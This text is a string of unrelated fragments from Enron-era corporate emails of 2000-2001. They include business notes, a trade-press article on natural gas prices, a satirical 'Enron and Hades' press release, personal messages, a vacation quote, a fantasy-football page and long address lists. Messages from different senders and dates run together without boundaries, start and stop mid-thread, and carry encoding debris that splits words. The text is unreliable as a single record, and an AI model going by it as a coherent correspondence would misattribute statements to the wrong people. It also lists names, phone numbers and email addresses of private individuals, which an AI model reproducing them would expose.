together what information we can find.  I have also spoken with Colleen and 
placed phone calls to the prior (and original) administrator of the transport 
option model.

I am not sure, at this point, that we will be able to pin down the original 
values for all of the deals.  I will get you what I can, as soon as I can.  
In the meantime, please let me know if you have questions and/or concerns.

Greg

This looks good. Possibly don't need last two items , we need to decide when 
to review this once it is live to see if it is taking off. Also, what does t 
aking off mean? Certainly after a month. See what others think about this 
list and then we can decide what our plan should be. I'll talk to you in a 
day or two. Rick

Louise --

Here is the analysis on how many Govt Affairs' FTEs work on Enron Americas matters.  

The bottom line = 67 Professionals in group / 29 FTEs on Enron Americas.  Call if you want additional information.

Also, I am trying to arrange a meeting for this Friday to discuss our next Monthly Update (which I am finishing hopefully tomorrow).

Thanks,

Jim

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----- Forwarded by Tana Jones/HOU/ECT on 06/27/2000 05:46 PM -----

	Tom Moran
	06/27/2000 05:42 PM
		 
Jones/HOU/ECT@ECT, Samuel Schott/HOU/ECT@ECT, Tom Moran/HOU/ECT@ECT, Sheri 
Thomas/HOU/ECT@ECT, Mark Taylor/HOU/ECT@ECT, Bernice Rodriguez/HOU/ECT@ECT, 
Brant Reves/HOU/ECT@ECT, Debbie R Brackett/HOU/ECT@ECT, David 
Hardy/LON/ECT@ECT, Lesli Campbell/HOU/ECT@ECT, Lisa Gillette/HOU/ECT@ECT, 
Linda S Bryan/HOU/ECT@ECT, Connie Sutton/HOU/ECT@ECT, Sylvia A 
Campos/HOU/ECT@ECT, Molly Harris/HOU/ECT@ECT, Cynthia Clark/Corp/Enron@ENRON, 
Mary G Gosnell/HOU/ECT@ECT, Enron Europe Global Contracts and Facilities, 
Enron Europe Global CounterParty, Stephanie Sever/HOU/ECT@ECT, Bradley 
Diebner/HOU/ECT@ECT
		 cc: 
		 Subject: EOL / Credit / GCP Responses 6/27/00

Please find attached Credit's EOL responses for 6/27/00.

Regards
tm 

Vince,
I hope you are having a great trip.  I look forward to hearing about it.

Let's aim for the 5:00 show, if that is ok with you.  I always have so many
errands to run, I don't want to run late for the movie.

Talk to you Saturday a.m.--713-355-8311

jana

Note:  Ken Lay's comments at the "Governors' Natural Gas Summit:  Responding 
to the Growing Energy Crisis" are quoted in this article.

Industry Fears Consumer Backlash Because of High Prices 

The natural gas industry should be prepared to face customer revolts and 
attempts at price caps, similar to those witnessed this summer in San Diego 
if it's a cold winter and prices continue to hit new highs. That was the 
warning from government and industry representatives at the crisis conference 
held by the Interstate Oil & Gas Compact Commission (IOGCC) yesterday. 

Representatives of producing states and industry speakers were unanimous in 
opposing government intervention to restrain prices, but no one had a ready 
remedy for consumer reaction if they are hit with a double whammy of greater 
energy use at higher prices this winter. One speaker offered a bright spot: 
the industry might emerge relatively unscathed if the winter is moderate. But 
then he added it's not just residential heating bills, but electric bills as 
well that will be impacted by higher natural gas prices. Others pointed out 
that demand and higher prices could spur lawmakers to open more areas to 
drilling and encourage new long lines. 

"Industrial customers have been dealing with high prices for some time, but 
higher bills for residential and small commercial customers are just starting 
to hit the radar screen," Peggy Claytor, purchasing manager for steel-maker 
The Timken Co., told the group of more than 300 from the U.S., Canada and 
Mexico, meeting in Columbus, OH. "We may see protests or proposals or calls 
for price caps this winter." She said she is opposed to caps because they 
fail to solve the underlying problems, and she blamed the "dysfunctional 
electricity grid" in part for aggravating the run-up in natural gas prices. 

Asked whether he expected to see a public outcry from residentials this 
winter, Stephen L. Baum, chairman of Sempra Energy, whose San Diego Gas & 
Electric subsidiary has borne the brunt of the California debacle (and whose 
prices were capped), had a one word answer: "Absolutely." 

Enron Chairman Ken Lay agreed. "If we have a combination of a cold winter 
with high prices, it could send bills up quite substantially. Certainly, 
there could be some reaction." Lay said he expected prices to be high for the 
short to medium term, coming down over next two to three years. "As long as 
regulators leave it alone, this market will come back into balance." Lay 
pointed out that even if prices to consumers hit $8.20/Mcf this winter, it 
would be just equal to the price level, adjusted for inflation, in 1986. 

Even at today's prices, "energy is the best buy there is," Robert Allison, 
Jr., chairman of Anadarko Petroleum, told the group, pointing out how 
consumer prices for other basics such as houses and cars, have increased over 
the past 15 years. The problem with energy prices is they have stayed low for 
so long. 

If the government wants to take action, it should open more public lands to 
drilling, Allison said, estimating there are 213 Tcf of reserves--- or a 
10-year supply --- that are off limits in the lower 48 states. Only portions 
of the Gulf of Mexico and Alaska are effectively open for drilling. "It's up 
to Congress to provide greater access," Allison said. 

Others, including Alaska Gov. Tony Knowles, said government should encourage 
the building of additional pipeline capacity, particularly a new pipeline 
from Alaska. 

Leading off the "Governors' Natural Gas Summit: Responding to the Growing 
Energy Crisis," Daniel Yergin, chairman of Cambridge Energy Research 
Associates, called the current situation a "shock," not a "crisis." A lack of 
reserves would be a crisis, but there are plenty of reserves. It's simply 
that demand has accelerated and bumped up against the "iron law of lead 
times." He said the industry would have to invest more than $500 billion over 
the next ten years, nearly double the level of the 1990s, to keep up with new 
markets. 

Yergin called for the U.S. to coordinate supply development policy with 
Mexico and Canada. "This is not just a U.S. issue. And there will not be just 
U.S. solutions --- there must be a continent-wide response." 

In the meantime, the industry should attempt to cushion the short-term shock 
through consumer education, conservation and low income assistance programs. 

---------------------- Forwarded by Mitch Robinson/Corp/Enron on 10/05/2000 
11:53 AM ---------------------------

Katherine Padilla@ENRON_DEVELOPMENT
10/05/2000 11:33 AM
To: Mitch Robinson/Corp/Enron@ENRON
cc: Tom Callaghan/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Ross 
Newlin/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Cecilia Ramirez/NA/Enron@ENRON 

Subject: Y2K Site Directions...

Mitch,

Per your request...Please see the attached for Wheatland, Lincoln & Gleason. 
I am still waiting on a reponse from Doyle. 

Thanks,
Katherine

Angela can be so judgmental and jelous so that doesn't surprise me.  Can't
wait to hear the story.  I'll talk to you later...

Sent: Monday, November 06, 2000 11:27 AM

I assume when you say sick you were refering to Angelas friend.  If so,
then no I didn't even touch her.  Angela actuall hates Nicole she says she
is a "fat ho".  I have a very good story to tell you about what happened.

This one kind of gives you that warm, fuzzy feeling inside.  Knowing that you 
are benefiting mankind by working for the Big "E".  

To: TFBA@dynegy.com
cc: William Patrick Lewis/HOU/ECT@ECT, Susan M Scott/HOU/ECT@ECT, "Sullivan, 
Tim" <SullivanT2@EPEnergy.com> 
Subject: Re: FW: New Enron Deal  

You mock what you don't understand.....The Dyner will do the same deal 3 
years from now, but LOSE $666trillion, and call it revolutionary and 
strategic to their business.

To: William Patrick Lewis/HOU/ECT@ECT, Susan M Scott/HOU/ECT@ECT, Tom 
Swank/HOU/ECT@ECT
cc: "Pearl, Scott" <scott.pearl@csfb.com>, "Sullivan, Tim" 
<SullivanT2@EPEnergy.com> 
Subject: FW: New Enron Deal

what's going on over there.................
---------------------- Forwarded by Thomas F Bankert/NGCCorp on 06/16/2000 
05:23

Kim J Casey
06/16/2000 05:23 PM

To:   Thomas F Bankert/NGCCorp@NGCCorp, Byron N Pollard/NGCCorp@NGCCorp
cc:

Subject:  FW: New Enron Deal

---------------------- Forwarded by Kim J Casey/NGCCorp on 06/16/2000 05:23 PM

John J Stauffacher
06/16/2000 03:19 PM

To:   Kim J Casey/NGCCorp@NGCCorp
cc:

---------------------- Forwarded by John J Stauffacher/NGCCorp on 06/16/2000

Peter Esposito
06/16/2000 02:22 PM

To:   Donna Atchison/NGCCorp@NGCCorp, Jolly Hayden/NGCCorp@NGCCorp, John J
      Stauffacher/NGCCorp@NGCCorp, M A Shute/NGCCorp@NGCCorp, John
      Sousa/NGCCorp@NGCCorp, Joel M Staib/NGCCorp@NGCCorp, Barry N
      Huddleston/NGCCorp@NGCCorp, Dennis C Flaherty/NGCCorp@NGCCorp, Marc R
      Chamberlin/NGCCorp@NGCCorp, David N Keane/NGCCorp@NGCCorp, Matt K
      Schatzman/NGCCorp@NGCCorp, Lynn A Lednicky/NGCCorp@NGCCorp, Peter
      Esposito/NGCCorp@NGCCorp, Jimmy F Thomas/NGCCorp@NGCCorp,
      lisa_krueger@illinova.com, james_fuhrmann@illinova.com, Glenn R
      Etienne/NGCCorp@NGCCorp, Chris Moser/NGCCorp@NGCCorp, Gary
      Shannahan@Illinois_Power, Vann Prater/NGCCorp@NGCCorp,
      shawn_schukar@illinova.com, Dan Mortland@Illinois_Power, Bruce
      Hollibaugh@Illinois_Power, Jay Caspary@Illinois_Power,
      Kevin_Shipp@illinoispower.com, Mary Doyle/NGCCorp@NGCCorp, Joseph
      Paul/NGCCorp@NGCCorp, Ed A Ross/NGCCorp@NGCCorp, Kathy
      Patton@Illinois_Power@NGCCorp, David Butts/IPC@Illinois_Power, Barry N
      Huddleston/NGCCorp@NGCCorp, John J Stauffacher/NGCCorp@NGCCorp, Gregory 
T
      Blue/NGCCorp@NGCCorp, Glenn R Etienne/NGCCorp@NGCCorp, David N
      Keane/NGCCorp@NGCCorp, Gregory T Blue/NGCCorp@NGCCorp, Joel
      Newton/NGCCorp@NGCCorp, Karen Cottrell/NGCCorp@NGCCorp, Joseph
      Paul/NGCCorp@NGCCorp, Kathy Patton/IPC@Illinois_Power, Steve
      Dalhoff/NGCCorp@NGCCorp, Mark A Scheel/NGCCorp@NGCCorp, DLCR@dynegy.com,
      Dan King/NGCCorp@NGCCorp, Sarah Tomalty/NGCCorp@NGCCorp, Karen
      Cottrell/NGCCorp@NGCCorp, Mary Doyle/NGCCorp@NGCCorp, Christopher T
      Russo/NGCCorp@NGCCorp
cc:

---------------------- Forwarded by Peter Esposito/NGCCorp on 06/16/2000 02:21

vanhornepr@nmenergy.com on 06/16/2000 01:58:11 PM

To:   Peter Esposito/NGCCorp@NGCCorp
cc:   picardimj@nmenergy.com

I guess Dynegy considers this retail??
---------------------- Forwarded by Philip R VanHorne/EM/NMEnergy on 
06/16/2000

Theresa A Flaim@NMPC
06/16/2000 01:56 PM

To:   Alan P Smithling/FIN/NMPC@NMPC, Bart D Franey/FIN/NMPC@NMPC, Joseph J
      Hipius/FIN/NMPC@NMPC, Martin F Amati/ED/NMPC@NMPC, Wesley J
      Yeomans/ED/NMPC@NMPC, Scott D Leuthauser/ED/NMPC@NMPC, Clement E
      Nadeau/ED/NMPC@NMPC, Jerry J Ancona/ED/NMPC@NMPC, Robert E
      Shanning/ED/NMPC@NMPC, Joseph T Ash/ED/NMPC@NMPC, James J
      Cifaratta/EM/NMEnergy@NMEnergy, Angelo F Chambrone/EM/NMEnergy@NMEnergy,
      Annette M Durnack/EM/NMEnergy@NMEnergy, Richard J
      Cohen/EM/NMEnergy@NMEnergy, Matthew J Picardi/EXEC/NMEnergy@NMEnergy,
      Philip R VanHorne/EM/NMEnergy@NMEnergy, J P
      Frazier/EXEC/NMEnergy@NMEnergy, Albert J Budney/EXEC/NMPC@NMPC
cc:

fyi
---------------------- Forwarded by Theresa A Flaim/FIN/NMPC on 06/16/2000 
01:58

"Scott, Bryan" <bscott@csw.com> on 06/16/2000 10:14:46 AM

To:   "'Deal, Ken'" <deal@netcom.ca>, Theresa A Flaim/FIN/NMPC@NMPC, "'Hoang,
      Khoa'" <khoa@ethree.com>, "'Keith, Dale M.'" <dkeith@tfs.net>, "'Neenan,
      Bernie'" <bneenan@bneenan.com>, "'Woo, CK'" <ck@ethree.com>
cc:

A different view of Enron...

From:  Jeff_E_Nottingham@reliantenergy.com
<mailto:Jeff_E_Nottingham@reliantenergy.com>
[SMTP:Jeff_E_Nottingham@reliantenergy.com]
<mailto:[SMTP:Jeff_E_Nottingham@reliantenergy.com]>
Sent:  Thursday, June 15, 2000 4:45 PM
To:  robert_v_mckim_jr@reliantenergy.com;
<mailto:robert_v_mckim_jr@reliantenergy.com;>
suzie-williams@reliantenergy.com; <mailto:suzie-williams@reliantenergy.com;>
dee_r_chambless@reliantenergy.com;
<mailto:dee_r_chambless@reliantenergy.com;>
rebecca-killough@reliantenergy.com;
<mailto:rebecca-killough@reliantenergy.com;>  jeff.lamm@bchydro.bc.ca;
<mailto:jeff.lamm@bchydro.bc.ca;>  dcjml@hotmail.com;
<mailto:dcjml@hotmail.com;>  Danielle_B_Trettin@reliantenergy.com
<mailto:Danielle_B_Trettin@reliantenergy.com>
Subject:  New Enron Deal

Today Enron and Hades announced a definitive energy services agreement said
to be worth an estimated $666 Trillion.
In the deal, Enron will provide both gas and electric commodities to Hades'
facilities throughout and under North America.  John D. Rockefeller, former
CEO of energy monopolist Standard Oil, is now head of Hades' energy
management division.  Said Rockefeller, "Obviously Hell has significant
heating demands.  While eternal flames are a great idea in concept, they
require vast and reliable fuel resources.  Enron was the only supplier
willing to make a deal with my boss, and, as a former monopolist, I just
like the way they do business."
A spokesperson for Enron said the two cultures were able to work easily
together during negotiations.  According to the company, "The deal fits both
companies exceptionally well.  With Hades' ability to attract and retain new
customers, we see this as a fabulous growth opportunity for millennia to
come."  According to several energy industry insiders, Hades' high heating
demand with very little need for summer air conditioning make it a very
attractive energy portfolio addition.
Hades is a multinational corporation with millions of sites worldwide and
approximately 173 quintillion customers.  The entity boasts sustained high
growth rates over the last two thousand years.
Enron is one of the world's leading energy and communications companies.
The company owns approximately $37 billion in energy and communications
assets.  Enron ranks in the top quarter of Fortune's "Best 100 Companies to
Work For if You Can Keep A Job There and Don't Mind Working 80 Hours A
Week," and is among the most respected corporations in America, as ranked by
customers with respect-us-or-get-curtailed clauses in their energy supply
contracts.

Jeff,

That is good news about Leander.  

Now for the stage.  I would like to get it sold by the end of March.   I have 
about $225K invested in the stagecoach, 
 it looks like I need to get around $745K to breakeven.  

I don't need the cash out right now so if I could get a personal guarantee 
and Jaques Craig can 
work out the partnership transfer, I would definitely be willing to carry a 
second lien.  I understand second liens are going for 10%-12%.
Checkout this spreadsheet.

These numbers should get the place sold in the next fifteen minutes.   
However,  I am very concerned about the way it is being shown.  Having Lucy 
show it is not a good idea.  I need you to meet the buyers and take some 
trips over to get more familar with the property.  My dad doesn't have the 
time and I don't trust 
Lucy or Wade to show it correctly.  I would prefer for you to show it from 
now on.  

I will have the operating statements complete through December by this 
Friday. 

Phillip

 FYI...ONLY !

 Presently, I have scheduled  a 10.0m buyback at this interconnect due to the 
plant being down and 
 the status is day to day.

 The 10.0m buyback begun Wednesday, April 5th.
 
 Gary, please let me know how you want this interconnect allocated { ie:  
force majeure & allocate total 
 flow to the base ticket ; Sitara # 148390}.

layer News  Ricky Watters , RB SEA - Free Agent Updated 10/23/01 According =
to the Tacoma News Tribune, Seahawks Head Coach Mike Holmgren says that Wat=
ters will return to the starting lineup as soon as he's healthy, which coul=
d be another month or longer. "We'll cross that bridge when we come to it,"=
 Holmgren said. "I would be surprised if I didn't insert Ricky back into th=
e lineup. He was our best player when he got hurt. Shaun (Alexander) has co=
me in and played well. But I would suspect that when Ricky can play, he'll =
play again." If you have the roster room, it would be a good idea to stash =
both backs on your team to ensure you're safe if Watters takes the job back=
 from Alexander down the stret! ch!   Trent Dilfer , QB SEA - Free Agent Up=
dated 10/23/01 Dilfer was unable to practice on Monday due to a groin injur=
y. He has lost the starting QB job to Matt Hasselbeck, and shouldn't be on =
any Fantasy rosters at this point.  Matt Hasselbeck , QB SEA - Bass/Hull Up=
dated 10/23/01 Hasselbeck will be the Seahawks' starting quarterback for Su=
nday's game against Miami, according to the Seattle Post-Intelligencer. He =
replaces Trent Dilfer, who stood in for Hasselbeck as he was sidelined with=
 a pulled groin. This isn't a very favorable matchup for Hasselbeck fr! om!=
 a Fantasy perspective, so don't use him this week.  Wayne Chrebet , WR NYJ=
 - JWillie Updated 10/23/01 The Jets have listed Chrebet as questionable fo=
r next Sunday's game at Carolina. He will have an MRI on Tuesday to determi=
ne the extent of the concussion he suffered Sunday against the Rams.  Dedri=
c Ward , WR MIA - Free Agent Updated 10/23/01 Ward missed Monday's practice=
 due to a foot injury. He is expected to miss Sunday's game at Seattle, and=
 isn't a useful Fantasy player at this point in the season.  Lamar Smith , =
RB MIA - Neal/McKay Updated 10/23/01 Smith did not practice Monday due to a=
n ankle injury. He is still expected to play Sunday in Seattle, so don't be=
 afraid to use him this week.  Marvin Minnis , WR KC - Free Agent Updated 1=
0/23/01 Chiefs Head Coach Dick Vermail said Monday that Minnis might start =
ahead of Chris Thomas in Thursday's game against Indianapolis. We don't rec=
ommend you use either receiver despite the fact that the Colts' secondary i=
s hardly imposing. Neither player is going to be a clear-cut starter this w=
eek.  Jerome Pathon , WR IND - Tori U! pd! ated 10/23/01 Pathon might miss =
his third straight game Thursday at Kansas City due to a sprained right foo=
t. Don't use him this week.  Terrence Wilkins , WR IND - Free Agent Updated=
 10/23/01 Wilkins is questionable for Thursday's game at Kansas City due to=
 broken ribs. We don't recommend you use him in a Fantasy league this week.=
  Terrell Davis , RB DEN - JWillie Updated 10/23/01 Davis is still targetin=
g Sunday's game against New England as his comeback game from arthroscopic =
knee surgery, but the Broncos have not decided whether they will activate h=
! im! . He will work in practice this week and the Broncos hope to know by =
Wednesday whether Davis can play. We don't recommend you use Davis in a Fan=
tasy league unless it's absolutely certain he's Denver's starting running b=
ack and is 100 percent healthy.   Warrick Dunn , RB TB - Martin Updated 10/=
23/01 According to the St. Petersburg Times, Dunn doesn't have a hamstring =
strain, as was originally reported. Dunn won't practice until late in the w=
eek, however, but he is expected to play on Sunday against Minnesota.   Duc=
e Staley , RB PHI - Giggles Updated 10/23/01 Staley started Monday's game a=
gainst the N.Y. Giants, but he didn't finish it. Staley carried the ball ju=
st three times for 22 yards, and was spelled late in the game by rookie Cor=
rell Buckhalter, who gained 34 yards on 11 carries l! at! e in the game. At=
 this point, it's tough to depend on Staley to post consistent Fantasy numb=
ers, so consider reserving him if your roster allows for a solid replacemen=
t.   Joe Nedney , K TEN - Free Agent Updated 10/23/01 Nedney suffered a nec=
k injury in Sunday's game but is expected to play this week.   Erron Kinney=
 , TE TEN - Free Agent Updated 10/23/01 Kinney will be listed on the injury=
 report because of a calf injury. However, he is expected to play in this w=
eek's game.   Kevin Dyson , WR TEN - Bass/Hull Updated 10/23/01  Dyson is r=
ecovering from a thumb injury but is expected to play in Monday's game agai=
nst the Steelers. He is expected to participate in practice.  Eddie George =
, RB TEN - Tori Updated 10/23/01 George suffered a thumb injury in Sunday's=
 game. He is expected to play in this week's game.   Steve McNair , QB TEN =
- Martin Updated 10/23/01 McNair is suffering from a sore ankle as a result=
 of a play in Sunday's game. However, he is expected to play in this week's=
 game.   Chris Sanders  , WR TEN - Free Agent Updated 10/23/01 The Tennesse=
an reports that Sanders has a disc problem in his back. The reserve receive=
r is expected to see a specialist this week. Treatment options consist of r=
est, an injection, or surgery. Don't expect Sanders to play anytime soon. R=
ookie Drew Bennett will play in his absence.   Damon Jones , TE JAC - Free =
Agent Updated 10/23/01 Jones is expected to resume practicing on Wednesday.=
 An MRI on his shoulder showed that his injury would not require surgery.  =
 Fred Taylor , RB JAC - Martin Updated 10/23/01 Taylor has been ruled out o=
f Sunday's game against Baltimore and his status for next week's game remai=
ns uncertain. "All I know is that, from week to week, they increase his exe=
rcises and change of direction," head coach Tom Coughlin told The Florida T=
imes-Union. "It remains to be seen when Fred will be able to play. Progress=
 is slow. I'm hoping he responds well this week, then we can make some kind=
 of legitimate guess [about a return date] next week." Taylor has been inac=
tive since severely injuring his groin on Sept 23.     Dennis Northcutt , W=
R CLE - Free Agent Updated 10/23/01 Northcutt left Sunday's game because of=
 a concussion. He is expected to play when the Browns return to action next=
 week.   Todd Heap , TE BAL - Free Agent Updated 10/23/01 Heap did not play=
 Sunday but head coach Brian Billick told The Baltimore Sun he is optimisti=
c that the rookie will play in this week's game. Heap has been inactive for=
 the last four games because of a sprained ankle.   Terry Allen , RB BAL - =
Tori Updated 10/23/01 Allen, who left after the fifth play of Sunday's game=
 with a sprained ankle, is questionable for this week's game. Jason Brookin=
s will start at running back if Allen is inactive.   Elvis Grbac , QB BAL -=
 Tori Updated 10/23/01 Coach Brian Billick expects Grbac to be ready for Su=
nday's game against Jacksonville, but the quarterback wasn't so sure. "I'm =
day-to-day. I'm feeling pretty sore in the chest area," Grbac said Monday. =
"There could be something going on with the cartilage. I haven't picked up =
a ball or thrown a ball, so we'll just have to wait and see." Randall Cunni=
ngham will replace Grbac if he is unable to play.     Az-Zahir Hakim , WR S=
TL - Neal/McKay Updated 10/23/01 Hakim suffered a calf injury during Sunday=
's blowout win over the New York Jets. However, he is expected to be availa=
ble for this weekend's game against New Orleans.   Trung Canidate , RB STL =
- Giggles Updated 10/23/01 According to the St. Louis Post-Dispatch, Canida=
te is expected to start in place of Marshall Faulk this weekend against New=
 Orleans. "I wouldn't expect Marshall to be up for this game," coach Mike M=
artz said. "He's got to be 100 percent before I would be convinced that we'=
ve got to let him play. And if he's not, then he doesn't play." Canidate pr=
oved himself as a worthy replacement last Sunday against the Jets, and shou=
ld be starting from a Fantasy perspective again this week.     J.J. Stokes =
, WR SF - Matty Updated 10/23/01 Stokes spent much of the bye week tending =
to his injured legs, and is close to being completely healthy. "Thankfully =
the bye week came so early. It was a blessing for me because I was ab! le! =
to get treatment every day," Stokes told the Contra Costa Times . "I practi=
ced today good. I wouldn't say I'm 100 percent but I'm darn close." Stokes =
has been less than mediocre, however, so don't use him as a regular starter=
 unless he proves himself to be more reliable.   Ike Hilliard , WR NYG - Ru=
ssell Updated 10/23/01 Hilliard continues to improve each week, and is now =
back in the Giants' starting lineup. Hilliard led the G-Men with six catche=
s for 80 yards on Monday night against Philadelphia, and looked as though h=
is surgically-repaired foot is almost completely healed.   Ron Dixon , WR N=
YG - Free Agent Updated 10/23/01 Dixon missed Monday night's 10-9 loss to t=
he Philadelphia Eagles due to a sprained ankle. The reserve wideout is day-=
to-day.   Marshall Faulk , RB STL - Matty Updated 10/23/01 According to Hea=
d Coach Mike Martz, Faulk is questionable for Sunday's game against New Orl=
eans. "I'm just taking the same posture that we did a week ago," Martz said=
. "I would not expect Marshall to be up (active) for this game. He's got to=
 be 100 percent before I'll be convinced that we've got to let him play." T=
rung Canidate would once again start in Faulk's absence is he's unable to g=
o.    More Updates  Rosters Teams  [IMAGE] [IMAGE]  [IMAGE] Matty Matt Lenh=
art    Player TM Pos Status Next Bye FA Brooks, Aaron  NO QB Active @STL We=
ek 2 100 Pittman, Michael  ARI RB Active @DAL Week 1 100 Faulk, Marshall  S=
TL RB Active NO Week 8 100 Glenn, Terry  NE WR Active @DEN Week 16 100 Smit=
h, Rod  DEN WR Active NE Week 15 100 Horn, Joe  NO WR Active @STL Week 2 10=
0 Janikowski, Sebastian  OAK K Active @PHI Week 6 100 Giants  NYG DT Active=
 @WAS Week 12 100 Griese, Brian  DEN QB Reserve NE Week 15 100 Johnson, Bra=
d  TB QB Reserve MIN Week 2 100 Bennett, Michael  MIN RB Reserve @TB Week 8=
 100 Gadsden, Oronde  MIA WR Reserve @SEA Week 6 100 Stokes, J.J.  SF WR Re=
serve @CHI Week 6 100 Wycheck, Frank  TEN TE Reserve @PIT Week 3 100  Total=
 Active Players: 8 Total Reserve Players: 6  NFL Injuries for Matty Updated=
 Player Team Pos Injury Expected Return 10/22/01 Bennett, Michael  MIN RB A=
nkle Day to day 10/23/01 Faulk, Marshall  STL RB Knee Expected to miss Sund=
ay's game vs. N.O. 10/21/01 Glenn, Terry  NE WR Hamstring Missed Sunday's g=
ame at Ind.  View Transactions  [IMAGE]View  [IMAGE]      [IMAGE] Make Sele=
ction   [IMAGE]       [IMAGE] There are no League Transactions which meet t=
he selected criteria.  To see all league transactions select "All", "All", =
"All Teams" from the Transactions, View page.     [IMAGE]  Copyright 2001 C=
ommissioner.COM Inc and SportsLine.com Inc. Your site can be reached from h=
ttp://fantasy.sportsline.com   FB10SP  =09

Mr. Lavorato,

Hello.  Below are estimates on the vacation we discussed last week.  I
know that Jamaica was not a set destination but I really feel something
like the FDR Resort might be a good options for a family vacation.  One
of the biggest pluses is the nanny you are assigned upon arrival I think
most people find it really makes the vacation stress fee.  I will be
honest with you there are other resorts in the Caribbean that are nicer
but they are not family resorts.  Programs and things are offered for
children usually starting at 4 years (sometimes 3) of age nanny services
are not really provide and just babysitting that must be prearranged.  If
features like the nanny service are not as important to you then I will
make other suggestions.   I am not including rates on the Boscobel Beach
Resort because they just closed to do renovation that will last until
December 2001.  If you have any questions, need additional information,
or would like to set up reservations please do not hesitate to call or
E-mail.

Regards,
Crystal Schwartz

***ESTIMATES BELOW ARE SUBJECT TO AVAILABILITY AND PRICE CHANGE UNTIL
CONFIRMED WITH PAYMENTS NEEDED.***

ROUND-TRIP AIRFARE ON AMERICAN AIRLINES -
**CONNECTIONS IN MIAMI**
$625.00 PER ADULT
$437.00 CHILD FARE
**RATE IS SUBJECT TO AVAILABILITY AND PRICE CHANGE UNTIL CONFIRMED WITH
PAYMENTS NEEDED.  I HAVE BASED THE RATES ABOVE ON DEPARTURE FEBRUARY 21,
2001 - FEBRUARY 28, 2001 PLEASE WHAT YOU WOULD PREFER AND I WILL CHECK
FOR SEATING.

ROUND-TRIP AIRFARE ON CONTINENTAL AIRLINES -
***CONNECTIONS IN TAMPA**
$365.00 CHILD FARE
**SAME NOTES AND DATES AS ABOVE**

FDR RESORT -
PLEASE TAKE A LOOK AT THIS WEB SITE IF YOU HAVE TIME WWW.WHERE2STAY.COM
THEY HAVE PICTURE AND COMMENTS FROM CLIENTS WHO HAVE STAYED THERE IN THE
PAST YEAR.

ONE BEDROOM SUITE WITH NANNY - $4100.00 FOR 7 NIGHTS
TWO BEDROOM SUITE WITH NANNY - $5150.00 FOR 7 NIGHTS

=====
1100 Louisiana Suite 3230
Phone - 713-759-1444
Fax - 713-759-9006

Yahoo! Shopping - Thousands of Stores. Millions of Products.
http://shopping.yahoo.com/

Jeff:  Can't you keep your "California crazies" in California??!!??  As for 
the elections, I'm predicting the closest races in history with a Republican 
sweep of the White House, House and Senate.  I guess that Baldwin actor guy 
will have to make good on his threat and "leave the country."

I'm in the middle of physical therapy and praying I won't need the bone graft 
(come to find out it's "hardware" with a plate and six screws!!)  But, I'm 
confined to wearing burkenstocks for the next month!!!!  Not very 
fashionable!!!!

	10/12/2000 09:37 PM
		
		 To: Cynthia Sandherr/Corp/Enron@ENRON
		 cc: 
		 Subject: Re: Important Legislation Watch:  H.R. 5415

Thanks for the info.  That guy was truly out of control at the S.D. 
hearings.  Glad to hear that his rotten bills aren't going anywhere.  Who's 
gonna win the election?  Hope you and your ankle are doing well.

Best,
Jeff

ED:

A second EWEB question:

EWEB wants the definition of "Applicable Rate"  to remain without changing to 
the Non-default Rate if the payee is the defaulting party.  They say they 
must have a "balanced rate".  Please let me hear from you.  Sara

At the request of Stephen Abbanat, I am enclosing our proposed form of 
Non-Disclosure Agreement.  If you have any comments or questions you would 
like to discuss with me, do not hesitate to call me at (713) 853-3399 .  If 
the NDA meets with your approval, please return a copy to me via fax no. 
(713) 646-3490.  We look forward to hearing from you.

Start Date: 4/14/01; HourAhead hour: 17;  No ancillary schedules awarded.  

Schedules\2001041417.txt

  TRANS_DATE: 4/14/01
  INTERCHG_ID: EPMI_CISO_SPP

     Details: (Hour: 17 / Preferred: -125.00 / Final: -124.97)
  TRADING_SC: SETC
  DEAL_NO: 1
     Details: (Hour: 17 / Preferred:  25.00 / Final:  24.92)
  DEAL_NO: 1
     Details: (Hour: 17 / Preferred: -60.00 / Final: -59.98)
  TRADING_SC: NCPA
  DEAL_NO: 1

same here.

Roth

From: Gloistein, Robert [mailto:RGLOISTEIN@Orrick.com]
Sent: Tuesday, December 12, 2000 11:08 AM
To: 'Cinderella'; skatz@sempratrading.com; kmccrea@sablaw.com;
thompson@wrightlaw.com; John Jimison; sscott3@enron.com;
trdill@westernhubs.com; ghinners@reliantenergy.com;
tdickers@westerngas.com; mark.c.moench@wgp.twc.com;
andy.bettwy@swgas.com; johnwalley@swgas.com; napedersen@jonesday.com;
rpetti@ladwp.com; eklinkner@ci.pasadena.ca.us; slins@ci.glendale.ca.us;
bjeider@ci.burbank.ca.us; roger.pelote@williams.com; porterdk@sce.com;
inggm@sce.com; burkee@cts.com; jleslie@luce.com; gsullivan@sempra.com;
jsteffen@iid.com; haorndorff@aeraenergy.com; kbhensman@aeraenergy.com;
mdjoseph@adamsbroadwell.com; marcel@turn.org; edf@cpuc.ca.gov;
mcn@cpuc.ca.gov; plg@cpuc.ca.gov; joseh@lif.org; chrisw@greenlining.org;
ewo@jmbm.com; evk1@pge.com; epoole@adplaw.com; bcragg@gmssr.com;
chj@aelaw.com; chilen@llgm.com; eke@aelaw.com; jmct@gmssr.com;
jkarp@whitecase.com; lindseyhowdowning@dwt.com;
rick.counihan@greenmountain.com; mday@gmssr.com;
grant_kolling@cerberus.city.palo-alto.ca.us;
raveen_maan@cerberus.city.palo-alto.ca.us; rochmanm@cubjpa.org;
jcattermole@pcenergy.com; igsinc@ix.netcom.com; craigc@calpine.com;
gtbl@dynegy.com; joe.paul@dynegy.com; kfyip@seiworldwide.com;
davef@abag.ca.gov; garyb@abag.ca.gov; ceyap@earthlink.net;
askaff@energy-law-group.com; pjpowerlaw@aol.com;
tomb@crossborderenergy.com; jweil@aglet.org; dcarroll@dbsr.com;
ed@clfp.com; iep@iepa.com; lmh@eslawfirm.com;
jtachera@energy.state.ca.us; kmills@cfbf.com; ron_oechsler@rmiinc.com;
alan_reid@pcp.ca; rfoss@coral-energy.com; tom.roth@et.pge.com;
ronknecht@aol.com; furutanj@efawest.navfac.navy.mil; aod@newsdata.com;
Gloistein, Robert; salleyoo@dwt.com; rbw@mrwassoc.com;
chris.king@utility.com; rczahar@aol.com; stomashe@energy.state.ca.us;
karen@klindh.com; mer@cpuc.ca.gov; jwr@cpuc.ca.gov; eyq@cpuc.ca.gov;
jsw@cpuc.ca.gov; ltt@cpuc.ca.gov; ram@cpuc.ca.gov; rmp@cpuc.ca.gov;
